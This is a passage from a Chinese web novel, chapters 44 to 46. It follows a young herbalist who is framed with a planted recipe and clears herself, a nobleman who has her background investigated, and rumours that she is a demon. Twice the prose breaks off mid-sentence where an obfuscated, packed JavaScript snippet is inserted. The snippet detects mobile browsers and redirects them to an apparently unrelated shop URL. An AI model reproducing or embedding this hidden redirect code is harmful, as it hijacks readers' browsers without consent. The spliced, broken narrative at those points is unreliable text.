“还真需要吴兄弟帮个忙。”赵掌柜道,“事成之后,需得有人去揭发。最好是个有头有脸的人物,说话有分量。” 吴勇想了想:“府衙的刘书吏如何?他管着医药行会的文书,说话有份量,他还是归平县人,更有说服力,而且……”他顿了顿,“他欠二老爷一个人情。” “再好不过!”赵掌柜抚掌,“那就这么说定了。三日后,仁心堂每月请许娇杏去指点制药的日子。就在那天动手。” 两人又商议了一番细节,吴勇才起身告辞。 44. 第44章 自证清白 这一日,仁心堂每月请许娇娇指点制药的日子到了。 这日清晨,许娇娇如常背着药箱出门。药箱是她自己缝制的靛蓝色粗布包,里头装着常用的银针、艾绒、止血药粉,还有几本她常翻的医书笔记。走到巷口时,她回头望了眼柳枝巷——晨光斜斜地照在青石板路上,空气里飘着邻家炊饼的香气,一切平静如常。 她不知道,一场精心策划的阴谋,正等着她。 仁心堂的制药房在后院,是一排三间的瓦房。许娇娇到时,赵药师已在里头了,几个学徒正在分拣药材。见她进来,赵药师含笑招呼:“许娘子来了。今日咱们试制‘清心丸’,这是堂里新研的方子,专治心悸失眠。” 许娇娇放下药箱,净了手,上前看方子。方子写在一张素笺上,字迹工整:丹参三钱、酸枣仁三钱、茯苓三钱、远志二钱、柏子仁二钱、炙甘草一钱。配伍合理,确是个安神定悸的好方。 她仔细看了,点头道:“方子甚好。只是丹参性微寒,若遇脾胃虚寒者,可加少许生姜、大枣调和。” 赵药师眼中露出赞许:“许娘子果然通透。正是如此,堂里备了几种加减方,因人制宜。” 几人便开始制药。许娇娇指导学徒们掌握火候、研磨细度,不时亲自示范。她教得认真,学徒们也学得专注,制药房里弥漫着药材的清香。 谁也没注意,一个叫李二的学徒,趁众人不备,悄悄将一个折好的纸团,塞进了许娇娇放在墙角的药箱夹层里。 午时初,药制得差不多了。赵药师留许娇娇用午饭,她婉言谢绝,说要回张记铺子。正收拾药箱准备离开,外头忽然传来喧哗声。 一个穿着青衫、留着山羊胡的中年男子闯了进来,身后跟着几个衙役模样的人。赵药师眉头一皱:“刘书吏?您这是……” 来人正是府衙的刘书吏,主管医药行会文书。他扫视屋内,目光落在许娇娇身上,沉声道:“有人举报,张记生药铺的许娇杏,偷窃仁心堂秘方‘清心丸’。本官特来查证。” 满室皆惊。 许娇娇心头一沉,面上却保持镇定:“大人何出此言?民女今日是应赵药师之邀,前来指点制药,何来偷窃之说?” 刘书吏冷笑:“是不是偷窃,一查便知。”他转向赵药师,“赵药师,贵堂的‘清心丸’方子,可曾外传?” 赵药师摇头:“此乃堂中秘方,从未外传。” “那就好。”刘书吏一挥手,“搜她的药箱!” 两个衙役上前,不由分说夺过许娇娇的药箱,翻找起来。不过片刻,一人从夹层里摸出一个纸团,展开一看,正是“清心丸”的方子。 “大人,找到了!”衙役将方子呈上。 刘书吏接过,扫了一眼,递给赵药师:“赵药师看看,这可是贵堂的方子?” 赵药师接过,脸色变了变。纸上的方子确实是“清心丸”,字迹也与堂中存档的一般无二。他看向许娇娇,眼神复杂:“许娘子,这……” 许娇娇看着那张突然出现的方子,心中一片雪亮,难怪今早起来,就觉得心中不安,原是在这里等呢! “许娇杏,你还有何话说?”刘书吏厉声道,“偷窃秘方,在医药行当里是十恶不赦的大罪!来人,将她拿下,带回府衙!” “且慢。”许娇娇深吸一口气,声音清晰,“大人,民女有话要说。” 制药房里鸦雀无声。所有人的目光都集中在许娇娇身上。 她走到赵药师面前,福了一礼:“赵药师,能否将这张方子给民女细看?” 赵药师犹豫片刻,将方子递给她。 许娇娇接过,仔细端详。方子上的字迹确实与仁心堂存档的相似,可仔细看,有几处笔锋略显生硬,像是模仿的。更重要的是——她目光落在几味药的剂量上。 丹参三钱、酸枣仁三钱、茯苓三钱、远志二钱、柏子仁二钱、炙甘草一钱。 看似与赵药师方才给她看的方子一样,可…… “大人,”她抬起头,目光清澈,“这张方子,是假的。” 刘书吏一愣:“假的?” “正是。”许娇娇将方子平铺在桌上,指尖点着其中几处,“远志这味药,性温,能安神益智,但用量需谨慎。这张方子上写的是二钱,可若真用二钱,对于体虚者或心悸严重者,反而可能引起烦躁不安。” 她顿了顿,继续道:“还有柏子仁。此药润燥安神,可若与远志同用,剂量需平衡。这张方子上两味药都是二钱,看似均衡,实则忽略了患者体质差异——若是阴虚火旺者服用,恐助火生燥。” 赵药师听得入神,忍不住点头:“许娘子说得是。堂里存档的方子,远志只用一钱半,柏子仁则根据患者情况调整,多则二钱,少则一钱。” 许娇娇又道:“更重要的是,这张方子少了一味药引。” “药引?” “是。”许娇娇看向赵药师,“方才赵药师给民女看的方子,注明需加三片生姜、两枚大枣为引,以调和药性,防丹参寒凉伤胃。可这张方子上,却没有。” 赵药师恍然大悟,拿起方子细看,果然没有生姜、大枣的记载。他脸色沉了下来:“这不是堂里的方子!堂里的方子我亲手所书,每一张都有药引注明!” 刘书吏眉头紧皱:“即便如此,也可能是你抄写时漏了……” “大人,”许娇娇打断他,语气平静却坚定,“民女根本不需要偷这张有缺陷的方子。”她从自己药箱里取出一个小本子,翻到某一页,“因为民女自己研究的安神方,比这张方子更周全。” 她将本子递给赵药师:“请赵药师过目。” 赵药师接过,只见纸上写着:丹参三钱、酸枣仁三钱、茯苓三钱、远志一钱半、柏子仁一钱半、合欢皮二钱、炙甘草一钱。旁注:加生姜三片、大枣三枚;若阴虚火旺,去远志,加麦冬二钱、百合三钱。 他越看眼睛越亮:“妙!妙啊!加了合欢皮解郁安神,剂量调整得更稳妥,加减之法也更周全!这方子……比堂里的‘清心丸’更精妙!” 许娇娇温声道:“赵药师过奖。民女只是根据这些日子诊病的经验,对安神方做了些改良。这张方子民女已试用过,效果颇佳。”她顿了顿,看向刘书吏,“大人,民女既有更好的方子,何必去偷一个有缺陷的方子?这不合常理。” 刘书吏语塞。围观的学徒、伙计们也开始议论纷纷。 “是啊,许娘子自己的方子明明更好……” “这陷害得太明显了!” “谁这么缺德,冤枉好人?” 许娇娇趁热打铁,又对赵药师道:“赵药师,这张假方子上的字迹,虽模仿得相似,可细看笔锋,与堂中存档的应有差别。不妨将存档方子取来比对。” 赵药师立刻命人去取。不一会儿,存档方子取来,两张并排放在桌上。果然,细看之下,假方子的字迹略显僵硬,尤其是“远志”“柏子仁”几处,笔锋不够流畅。 “这……”刘书吏脸色难看。 许娇娇又看向那个叫李二的学徒。从刚才起,李二就脸色发白,眼神躲闪。她心中已有猜测,便温声道:“李二哥,你今日一直在制药房,可曾看见有谁动过民女的药箱?” 李二浑身一颤,支支吾吾:“没、没看见……” “没看见?”许娇娇盯着他,“可民女记得,午时前你曾到墙角取药材,那时民女的药箱就放在墙角。你真的什么都没看见?” 李二额角冒汗,嘴唇哆嗦。赵药师看出端倪,沉下脸:“李二,说实话!” “我……我……”李二腿一软,跪倒在地,“是、是有人让我做的!他给了我五十两银子,让我把方子塞进许娘子的药箱……说我娘病重,急需用钱……我、我一时糊涂……” 满室哗然。 “是谁指使你的?”赵药师厉声问。 李二哭道:“我不认识……是个三十来岁的汉子,说事成之后还有重谢……对了,他、他右手虎口有块疤……” 刘书吏脸色彻底变了。赵药师看向他,眼神锐利:“刘书吏,您今日来得可真巧。这边刚塞了方子,您就带人来搜。莫非……” “赵药师慎言!”刘书吏慌忙道,“本官也是接到举报,秉公办事!”他顿了顿,看向许娇娇,语气软了下来,“许娘子,今日之事……看来是有人陷害。本官定会查明真相,还你清白。” 许娇娇福了一礼:“多谢大人。只盼大人能查出幕后主使,否则今日陷害民女,明日不知又要害谁。” 刘书吏连连点头,带着衙役匆匆走了,连那张假方子都忘了拿。 赵药师看着他们离去的背影,冷哼一声,转身对许娇娇深深一揖:“许娘子,今日让你受委屈了。赵某惭愧,竟让这等小人混入堂中。” 许娇娇忙还礼:“赵药师言重了。是民女连累了仁心堂的名声。” “不,是你保全了仁心堂的名声。”赵药师正色道,“若不是你机警,当场揭穿,这偷方子的罪名一旦坐实,不仅你身败名裂,我仁心堂秘方外泄,也要受损。”他顿了顿,眼中露出欣赏,“更难得的是,你竟能改良出更好的方子。许娘子,你的医术天赋,实在令人惊叹。” 许娇娇谦道:“民女只是多看了几本医书,多想了些罢了。” 两人又说了几句,许娇娇便告辞了。走出仁心堂时,日头已偏西。她深吸一口气,心里却沉甸甸的。 这次陷害,手段比上次高明得多。若不是她恰巧研究过安神方,若不是她细心看出方子的问题,恐怕真的百口莫辩。 幕后主使……会是谁? 尽管许娇娇当场自证了清白,可谣言还是传开了。 “听说了吗?张记那个许娘子,偷仁心堂的秘方,被抓了个正着!” “真的假的?我听说她是被冤枉的……” “冤枉?人证物证俱在!要不是赵药师心软,早送官了!” 菰城的大街小巷,茶肆酒楼,到处都在议论。有人信,有人疑,有人添油加醋。不过半日工夫,许娇娇“偷方子”的事就传得沸沸扬扬。 沈府里,自然也听到了风声。 这日午后,沈夫人李氏正在花厅里看账本,陪坐的是隔房的妯娌纪氏。纪氏是个话多的,最喜打听闲事,这会儿正说得起劲: “……要说那许娘子,看着挺本分的一个丫头,怎会做出这种事?偷方子啊,这在医药行当里可是大忌!听说仁心堂的赵药师气得脸都青了,当场就要送官呢!” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230993|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人蹙眉,放下账本:“不能吧。那丫头曾救过宁儿的急症,我看着为人爽利真诚,绝不是这样的人。” “知人知面不知心哪。”纪氏压低声音,“我听说,是她自己改良的方子不如仁心堂的,这才起了贪念。也难怪,一个乡下丫头,能有多大本事?” 沈夫人不语,心中却疑虑丛生。她思忖片刻,召来贴身的周嬷嬷:“你去张记药铺看看,到底是怎么回事。若许娘子真做了糊涂事……咱们沈府不能留这样的人。若她是被冤枉的,也要还她清白。” 周嬷嬷领命去了。 而此时,张记药铺里,张东家正急得团团转。 “这可如何是好!娇杏明明是被冤枉的,可外头传成这样……”他唉声叹气,“方才还有两个老主顾来问,说若是真的,往后不敢来咱们铺子抓药了。” 许娇娇倒是镇定:“张伯莫急。清者自清,谣言止于智者。” “话是这么说,可三人成虎啊!”张东家跺脚,“定是有人故意害你!上次是假装中毒,这次是偷方子……一次比一次狠毒!” 正说着,外头进来一人,正是仁心堂的赵药师。 “赵药师?”张东家忙迎上去,“您怎么来了?” 赵药师拱手:“张东家,许娘子。赵某今日来,一是为早上的事致歉,二是有事相商。”他看向许娇娇,“许娘子,你那安神改良方,赵某回去后仔细琢磨,越想越觉得精妙。不知……可否让仁心堂采用?当然,堂里愿付酬金,或按成药售出分成。” 张东家一愣。许娇娇也怔了怔,随即明白过来——赵药师这是在用行动为她正名。若仁心堂愿意采用她的方子,那些“偷方子”的谣言自然不攻自破。 “赵药师美意,民女感激。”她福了一礼,“只是这方子尚需完善,民女想再试用一段时日,确认无误后,再与堂里商议。” 赵药师眼中赞赏更浓:“许娘子谨慎,正是医者本分。既如此,赵某便等娘子的好消息。”他顿了顿,又道,“至于今日的谣言……许娘子放心,赵某回去便让伙计们去澄清。仁心堂也会张贴告示,说明真相。” “多谢赵药师。” 送走赵药师,张东家长舒一口气:“这下好了!有赵药师出面,谣言该散了。” 许娇娇却摇头:“只怕没这么简单。幕后之人既费心设局,不会轻易罢休。” 果然,下午周嬷嬷来探问时,外头谣言虽淡了些,可还是有人在窃窃私语。 周嬷嬷仔细问了事情经过,又去仁心堂核实,这才回府禀报沈夫人。 “夫人,老奴查清楚了。许娘子确是被人陷害。”周嬷嬷将事情原委细细说了,“仁心堂的赵药师亲口证实,许娘子不仅没偷方子,还自己改良出了更好的方子。堂里正打算向她求方呢。” 沈夫人听完,点了点头:“我就说那丫头不是这样的人。”她沉吟片刻,“既是被人陷害……可知是谁主使?” 周嬷嬷低声道:“仁心堂那个学徒李二招了,说是个虎口有疤的汉子指使的。老奴打听了一圈,有人说……像是庆和堂钱掌柜手下的人。” “庆和堂?”沈夫人眉头一皱,“那不是归平县王大官人的产业么?” “正是。”周嬷嬷道,“老奴还听说,前阵子庆和堂想买娘子的金疮药方,被拒绝了。许是因此怀恨在心。” 沈夫人眼神冷了下来:“好个庆和堂,好个王大官人。在归平县横行霸道也就罢了,手竟伸到菰城来了。”她顿了顿,“这事你暗中查查,若真是他们所为……我沈家虽不惹事,却也不怕事。” “是。” 周嬷嬷退下后,沈夫人独自坐在花厅里,望着窗外开得正盛的紫薇,眼神深沉。 许娇杏这丫头……倒真是个有本事的。医术好,心性稳,遇事不慌,还能当场自证清白。这样的人,若能得沈府庇护,将来或有大用。 至于那些躲在暗处使坏的人……沈夫人嘴角勾起一抹冷笑。 真当沈家是吃素的么? 夜深了,柳枝巷的小院里,油灯还亮着。 静尘和静心听许娇娇说了今日的事,都惊出一身冷汗。 “太险了!”静心拍着胸口,“若不是娇杏你细心,看出方子有问题,又拿出自己的改良方,今天可就……” 静尘也后怕:“这幕后之人,一次不成又来一次,手段越来越毒。娇杏,咱们得想个法子,不能总这样被动挨打。” 许娇娇点头:“师姐说得对。我今日仔细想了想,这两次陷害,虽然手法不同,可都冲着我的名声来——第一次想让我背上庸医害人的骂名,第二次想让我身败名裂,在医药行当无法立足。” 她顿了顿,眼神坚定:“他们越是这样,我越要站得稳。从明日起,我更要精研医术,多读医书,多诊病人。只有我本事够硬,名声够响,他们才不敢轻易动我。” “可是……”静心担忧,“他们若用更阴毒的法子呢?” 许娇娇沉默片刻,轻声道:“所以,咱们也要有所准备。”她看向静尘,“师姐,了尘师父的事,还有水月庵那些勾当,是时候查一查了。若能找到证据,扳倒王大官人和水仙姑,咱们才能真正安全。” 静尘用力点头:“好,我都听你的。” 45. 第45章 疑云 镇国公府,九思居。 七月流火,京城的暑气浓得化不开。午后书房,窗扉紧闭,仍挡不住外头蒸腾的热浪。几竿翠竹僵立在窗外,叶子被烈日烤得卷了边,泛着蔫蔫的油光。蝉声嘶力竭地鸣叫着,一声叠着一声,搅得人心烦意乱。 裴宴遣退了所有侍从,独自坐在紫檀木书案后。案上摊开着一份刚送来的密报,纸张是寻常的竹纸,字迹工整清晰,可上面记载的内容,却让他修长的眉峰渐渐蹙紧。 许娇杏。 这个名字在唇尖无声滚过,仿佛带着某种难以言说的重量。 密报极为详尽,从落溪村到水月庵,从柳枝巷到张记药铺,几乎描摹出她短短十数年人生的全部轨迹。可越是详尽,裴宴心头的疑云便堆积得越厚。 六岁丧父,七岁丧母。而七岁之前,她竟是个聋哑儿。 他的目光在这一行字上停留良久。一个被乡邻视为“不祥”的孤女,一个在稚龄便失去听与说之能的孩子,如何在短短数年之间,不仅开口言语,更习得了一身精湛医术? 这不合常理。 他继续往下读。落溪村的村民说,许大郎生前医术确实高明,常为四邻义诊,在这一带颇有善名。许娇杏幼时虽聋哑,却总是安安静静地跟在父亲身侧,看他诊脉、开方、炮制药材。 “耳濡目染”四字,或许能解释兴趣的萌芽,却绝不足以支撑本事的精进。更何况,一个聋哑孩童,谈何“耳濡”? 裴宴的食指在光洁的案面上轻轻叩击。这是他深思时的习惯,一下,又一下,节奏平稳,却透着无形的压迫。 读到水月庵那段,字里行间的寒意更重。水仙姑的刻薄凌虐,后山茅屋中的生死挣扎……若非李婆子和那个叫静尘的尼姑回护,恐怕她早已悄无声息地消失。冰冷的记述背后,是一个女子在泥泞里踉跄前行的痕迹。 直到看到那句“不知从何时起,她不聋不哑了”,裴宴叩击的手指蓦然顿住。 何时?如何? 是一场大病后的奇迹?是某个不为人知的际遇?还是……另有隐情? 他眼前浮现元宵夜初遇时,她揪住他衣襟的莽撞模样;想起医药会上,她面对质疑时沉静从容的应对;想起纯阳宫石径旁,她评说梅树时那份通透的见解;更想起柳枝巷那夜,月光下她那双清亮而坦然的眼。 那双眼里,没有历经苦难后应有的阴郁,没有身份卑微者常带的怯懦,只有一种近乎天真的澄澈,与一股说不清道不明、却极为坚韧的生气。 太矛盾了。 一个有着这般身世与经历的女子,不该有这样的眼神。 “最早因她那‘炭盆之喻’,张记东家得了启发,才治好鲁大老娘的症候。”裴宴低声自语,目光落回纸上,“多少大夫束手无策,她一个不过十岁的小娘子,何以能有这般见识,且能一语中的?” 还有。那个他本不愿记起的元宵夜。混乱的人潮中,他被表兄强拉出来看灯,其实心中并不情愿。他不喜人多,厌烦驳杂的气味……他们被人群冲散,他被迫背起一个陌生女子。只记得一具柔软的身子紧紧贴着他的后背,一双手死死抓着他的衣领,勒得他几乎喘不过气。一股清苦药香混着某种难以名状的幽香扑鼻而来,竟奇异地冲散了周遭令人不适的浊气。他急于摆脱背后的异样触感,可那双手却攥得更紧,令他莫名恼火。待脱出险境,她从背上滑下,他看见一双亮得惊人的眼睛。她口中慌乱道着歉,身子却悄悄往人堆里缩。他鬼使神差地拽住了她,她却抬起头,理直气壮,据理力争。他从没见过这样的女子,伶牙俐齿得叫人…… 后来,沈表妹旧疾发作,也是她出手相救。那时他只当是巧合,未曾深究。如今想来,岂是侥幸?一次或可说是偶然,两次、三次呢?张记坐诊,沈府青眼,仁心堂的契书,医药会上的嘉许……这一桩桩、一件件,无不印证着她的医术绝非寻常。 可这身医术,究竟从何而来?许大郎再厉害,又能教给一个七岁的聋哑女儿多少?水月庵那等地方,又岂是研学医术的所在? 裴宴闭了闭眼。烛火在眼睑上投下晃动的暖晕,脑海中却清晰映出那个雨过天青色的身影——她立在纯阳宫湿润的石径上,仰面望着古梅,侧脸在雨后微光中莹然生辉。 “生机内蕴。” 清尘道长那日的话语,忽然在耳畔响起。 他睁开眼,眸色深沉如夜。 正沉思间,书房门被轻轻叩响。丫鬟的声音隔着门板传来:“公子,长风说有事禀报。” “让他进来。” 长风推门入内,垂手而立。他抬眼悄悄瞥了主子一眼,见裴宴面色沉静如水,看不出喜怒,这才斟酌着开口:“还有一事,关乎水月庵那水仙姑,与归平县的王兆贵王大官人。” 裴宴抬眼:“说。” “盯着归平县的人回报,发觉水月庵的水仙姑身份可疑。”长风顿了顿,见主子示意他说下去,便继续道,“水月庵原先的庵主法号了尘,是位三十许的妇人。约莫五六年前,了尘师父一夜之间暴毙而亡,对外说是心疾突发。可属下打听来的消息,了尘师父身体一向康健,并无宿疾,且她本身通晓医术,时常为当地村民义诊,在那一带名声颇佳。了尘死后,水月庵便由水仙姑掌管。庵中一众比丘尼对她甚是惧怕,听闻但凡有反对水仙姑的,不过几日便会不见踪迹……这事透着蹊跷。” 说到这里,长风稍缓了口气,声音凝重了几分:“许小娘子设计让村民撞破水仙姑与王兆贵的奸情,王兆贵趁乱逃走,水仙姑则被官府羁押。因着这事,水仙姑一直怀恨在心,千方百计想要报复许小娘子。许小娘子也真是机警,见势不对,竟偷偷搬离了水月庵后山,让水仙姑扑了个空。如今许小娘子在菰城安身,水仙姑一时够不着,但此人心胸狭隘,眼下与王兆贵往来更密,一直在打听许小娘子在菰城的一切动静。” 他顿了顿,语气不自觉地染上一丝凝重:“许小娘子近来……似乎遇上了不少麻烦。张记生药铺有人闹事讹诈,仁心堂那边也有人想栽赃陷害,都被她一一化解了。” 说到此处,话音里竟透出几分不自觉的赞许:“那许小娘子瞧着年纪轻轻,处事却极沉稳机警。上次仁心堂那事,她不但识破了局,还反将一军,让背后主使的庆和堂赵掌柜吃了暗亏。便是属下听了,也觉得许小娘子是个……” 话到此处,长风忽然住了口。 因为他看见,坐在书案后的公子,缓缓抬起了眼。 那眼神并不凌厉,甚至没有什么情绪,只是静静地望着他。可长风却觉得脊背一凉,余下的话全噎在了喉间。 书房内一时间静得可怕。窗外的蝉鸣不知何时歇了,只余烛芯偶尔爆开的细微噼啪声。昏黄的光晕在裴宴脸上跳跃,将他半边面容映在明处,半边隐于暗影之中,神情莫测。 长风垂下头,心中懊悔。他打小就跟着郎主,深知郎主最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230994|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不喜手下对调查对象生出不必要的情绪。欣赏、同情、轻视……皆是大忌。方才他一时忘形,竟犯了忌讳。 良久,裴宴才缓缓开口,声音听不出波澜:“你觉得什么?” 长风头垂得更低:“小的失言。” 裴宴未再追究,只将目光重新投向案上的密报,指尖无意识地摩挲着纸页边缘。烛光下,他眉眼低垂,长睫在眼下投出一小片阴影,掩住了眸中神色。 “水仙姑和王兆贵,”他忽而问道,“仍在打听?” “是。”长风忙道,“咱们的人说,他们似乎还不死心,恐怕在谋划些什么。” 裴宴沉默片刻,道:“加派人手,盯紧归平县那边。若有异动,随时来报。” “是。” “还有,”裴宴顿了顿,“许娘子在菰城的一切,继续查。我要知道得更细——她平日看什么书,与什么人来往,说过什么特别的话,做过什么特别的事。尤其是她治病救人的细节,一桩都不许遗漏。” 长风心中一凛:“公子是怀疑……” “我不怀疑什么。”裴宴打断他,声音依然平静,“我只是要知道真相。” 一个孤女,身世凄惨,却身怀绝技;看似柔弱,却屡次化解危机;明明该是惊弓之鸟,却活得从容坦荡……这一切背后,究竟藏着什么? 是天纵奇才?是别有际遇?还是……别的什么? 裴宴说不清自己为何对这样一个女子如此上心。或许是因为那几次偶遇留下的印象太深,或许是因为她身上矛盾之处太多,又或许……只是因为他想弄明白,那双清亮眸子里,究竟映着怎样的故事。 “下去吧。”他摆了摆手。 长风躬身退下,轻轻带上了房门。 书房里又只剩下裴宴一人。他起身走到窗前,推开半扇窗。夜风裹着暑热涌进来,并不凉爽,却吹散了几分屋内的沉闷。 窗外月华如水,静静洒在庭院中。假山石影幢幢,池面泛着细碎的银光。远处的更鼓声隐隐传来,已是亥时。 裴宴望着那轮明月,忽然想起柳枝巷那夜。也是这样的月色,他翻墙而入,她立在窗内,初时惊惧,继而镇定,看他的眼神坦荡得让他心头莫名一悸。 “野丫头。” 他无声地念了一句,唇角却不由自主地微微扬起。 可笑意很快便隐去了。取而代之的,是更深沉的思虑。 水仙姑和王兆贵不会善罢甘休。那些人的手段他了解,阴狠歹毒,为达目的不择手段。许娇杏虽机警,可终究势单力薄,明枪易躲,暗箭难防。 而她的身世,她的医术,她身上种种说不通的疑点……像一团浓雾,将他心头那点莫名的牵念缠绕得愈发复杂。 裴宴抬手按了按眉心。烛火在他身后跳跃,将他的影子长长地投在墙上,孤峭而沉默。 许久,他转身回到书案前,重新拿起那份密报,就着烛光,又细细读了一遍。 每一个字,每一句话,都在诉说着一个女子艰难求存的故事。可裴宴总觉得,这故事背后,还藏着另一个故事——一个更曲折,更隐秘,或许也更惊人的故事。 而他要做的,就是把它找出来。 烛火“噼啪”一声,爆开一朵灯花。 裴宴吹熄了烛火,书房陷入一片黑暗。只有月光从窗外流泻进来,在地上铺开一片清辉。 他在黑暗中静坐了良久,才起身走出书房。 46. 第46章 谣言如刀 菰城的七月,热得像个蒸笼。 日头毒辣辣地悬在天顶,将青石板路晒得滚烫,踩上去能觉出鞋底的温热。街边的柳树叶子蔫蔫地垂着,纹丝不动。偶尔有挑担的小贩经过,汗水浸湿了褡裢,在背上洇出一大片深色。 这样酷热的午后,本该是蝉鸣聒噪、街巷冷清的时候。可这几日,菰城的大街小巷、茶肆酒楼,却反常地热闹起来。人们三五成群,聚在阴凉处,交头接耳,神情诡秘。说的都是同一件事: 张记生药铺那个许小娘子,是个妖女。 谣言不知从何处起,却像长了脚似的,一夜之间传遍了半个菰城。 “听说了吗?落溪村来的那个许娇杏,根本不是人!” “怎么说?” “她生下来就是个聋哑儿,七岁那年爹娘忽然暴毙,死得蹊跷!村里人都说是她吸了爹娘的阳气!” “真的假的?” “千真万确!我有个远房表亲就在落溪村,说那丫头从小邪性得很,眼睛看人直勾勾的,村里孩子都不敢靠近她。后来实在没法子,才送到水月庵寄养——你们想想,若不是不祥之人,亲爹娘舍得送去当姑子?” “可她现在不是好好的?还能说会道,还会看病……” “这就是最邪门的地方!”说话的人压低了声音,神秘兮兮的,“一个聋哑了七年的丫头,怎么就突然能说会听了?还能治病?落溪村的老人都说,怕是山里的什么东西上了身,借她的身子修炼呢!” “修炼?” “对啊,你们想,她看病是不是特别灵?就连沈家小娘子那种多年的痼疾,吃了她的药就好转了——寻常大夫能有这本事?定是用了什么妖法,吸了病人的阳气来补自己!” “天爷……难怪我前阵子去张记抓药,总觉得那丫头眼神不对劲,阴森森的……” “可不是!我听说啊,她在落溪村的时候,靠近她家的人家都倒霉。张耆老家那个在县衙当官的子侄亲口说的,许大郎夫妇死得不明不白,村里请了道士来看,说是有妖物作祟!” “那怎么不报官?” “报什么官?妖魔鬼怪的事,官爷管得了?要我说,趁早离她远点,别被她吸了阳气还不自知!” 流言越传越邪乎,添油加醋,细节丰富。有人说亲眼见过许娇杏半夜在院子里拜月,有人说闻过她身上有股子腥气,还有人说她炮制的药材里掺了不知名的东西,吃了暂时管用,实则损人根本。 起初只是市井闲谈,可渐渐地,传到了体面人家耳朵里。 这日午后,沈府后院的洗衣房里,几个粗使婆子一边捶打着衣裳,一边嘀嘀咕咕。 “你们听说了吗?那个常来给五娘子看病的许娘子……” “早听说了!说是妖女呢!从小聋哑,七岁上爹娘就死了,定是她克死的!” “真的假的?我看着那丫头挺本分的啊……” “知人知面不知心!你想想,一个乡下丫头,哪来那么好的医术?连太医院的太医都夸她——她师父是谁?跟谁学的?这里头肯定有古怪!” “可五姑娘吃了她的药,身子确实见好了啊。” “这就是最吓人的地方!”一个婆子神神秘秘地凑近,“你想想,妖女最会什么?迷惑人心啊!她用妖法治好了五姑娘的病,指不定在五姑娘身上下了什么咒,往后……” “别胡说!”一个年长些的婆子呵斥,“这种话也是能乱说的?当心被主子听见,撕了你们的嘴!” 几个婆子噤了声,可眼神交流间,疑虑更深了。 这些话,终究还是传到了主子们耳朵里。 寿安堂里,沈老夫人正靠在临窗的榻上歇午觉。窗外芭蕉叶子被晒得油亮,蝉鸣一声高过一声。她年纪大了,本就浅眠,被这蝉声一搅,更睡不着,索性坐起身。 贴身伺候的赵嬷嬷忙上前:“老夫人可是要喝茶?” 沈老夫人摆摆手,揉了揉额角:“外头在吵什么?我听着像是有人在说话。” 赵嬷嬷脸色微变,支吾道:“没、没什么,是几个不懂事的丫头在嚼舌根,老奴这就去训她们。” “嚼什么舌根?”沈老夫人抬眼,目光锐利,“说来我听听。” 赵嬷嬷知道瞒不过,只得硬着头皮道:“是……是关于常来给五姑娘看病的那个许娘子。外头不知怎么传起来,说她是……是妖女。” 沈老夫人眉头一皱:“妖女?胡说八道!” “老奴也觉得是胡说。”赵嬷嬷忙道,“可外头传得有鼻子有眼的,说那许娘子生下来是聋哑,七岁上爹娘就死了,如今突然能说会道还会看病,定是……定是山精野怪附了身。” “荒唐!”沈老夫人斥道,“这种无稽之谈也信?” “老奴自然不信。”赵嬷嬷低声道,“可架不住传的人多。连府里下人们都在私下议论,说许娘子看病太灵,不像寻常大夫……” 沈老夫人沉默片刻,缓缓道:“你去把老二媳妇叫来。” “是。” 不多时,李夫人便匆匆来了寿安堂。她今日穿着件藕荷色褙子,头发梳得一丝不乱,可眉宇间却带着几分疲惫——外头的谣言,她自然也听到了。 “母亲。”她上前行礼。 沈老夫人示意她坐下,开门见山:“外头关于许娘子的传言,你可听说了?” 李夫人心头一紧,面上却强作镇定:“听说了些。都是些无知小民胡言乱语,儿媳已吩咐下去,不许府里人议论。” “胡言乱语?”沈老夫人看着她,眼神深沉,“无风不起浪。那许娘子的身世,你可清楚?” 李夫人迟疑道:“儿媳听阿叔提过几句,说是父母早亡,在庵堂里长大。至于医术,是家传的,她父亲生前便是郎中。” “家传?”沈老夫人缓缓道,“一个七岁就失了怙恃的孩子,能学到多少家传?况且,我听说她七岁前还是个聋哑儿——聋哑儿如何学医?” 李夫人语塞。这些疑点,她何尝没有想过?只是许娇娇治好了女儿的病,她便下意识忽略了。 “母亲的意思是……” “我没什么意思。”沈老夫人端起茶盏,轻轻撇着浮沫,“只是提醒你,咱们这样的人家,结交来往最要谨慎。那许娘子若真是个有本事的,自然好。可若她真有什么不妥……咱们沈家百年清誉,不能因为一个外人受损。” 李夫人心头一震,忙道:“儿媳明白。只是……宁儿的病,确实因她的药好转了。若就此断了来往,怕对宁儿的身子不利。” 沈老夫人沉吟片刻:“治病归治病,结交归结交。往后她来府上,只在前院花厅看诊,看完便送走,莫要过多来往。赏银照给,礼数周全便是,但不必再如从前那般亲近。” “是。”李夫人垂首应下。 “还有,”沈老夫人又道,“你私下派人去落溪村打听打听,那许娘子的身世究竟如何。若真是清清白白,咱们也不能冤枉好人。可若真有蹊跷……” 她没有说完,但李夫人听懂了。 从寿安堂出来,李夫人心里沉甸甸的。她其实挺喜欢许娇娇那丫头,沉稳聪慧,不卑不亢,更难得的是医术确实高明。可婆婆的话不无道理——沈家这样的门第,容不得半点污名。 她回到自己院里,周嬷嬷已候着了。 “夫人,”周嬷嬷低声道,“外头的谣言……越传越厉害了。方才老奴去街上采买,听见不少人都在说,连张记药铺的生意都受了影响。” 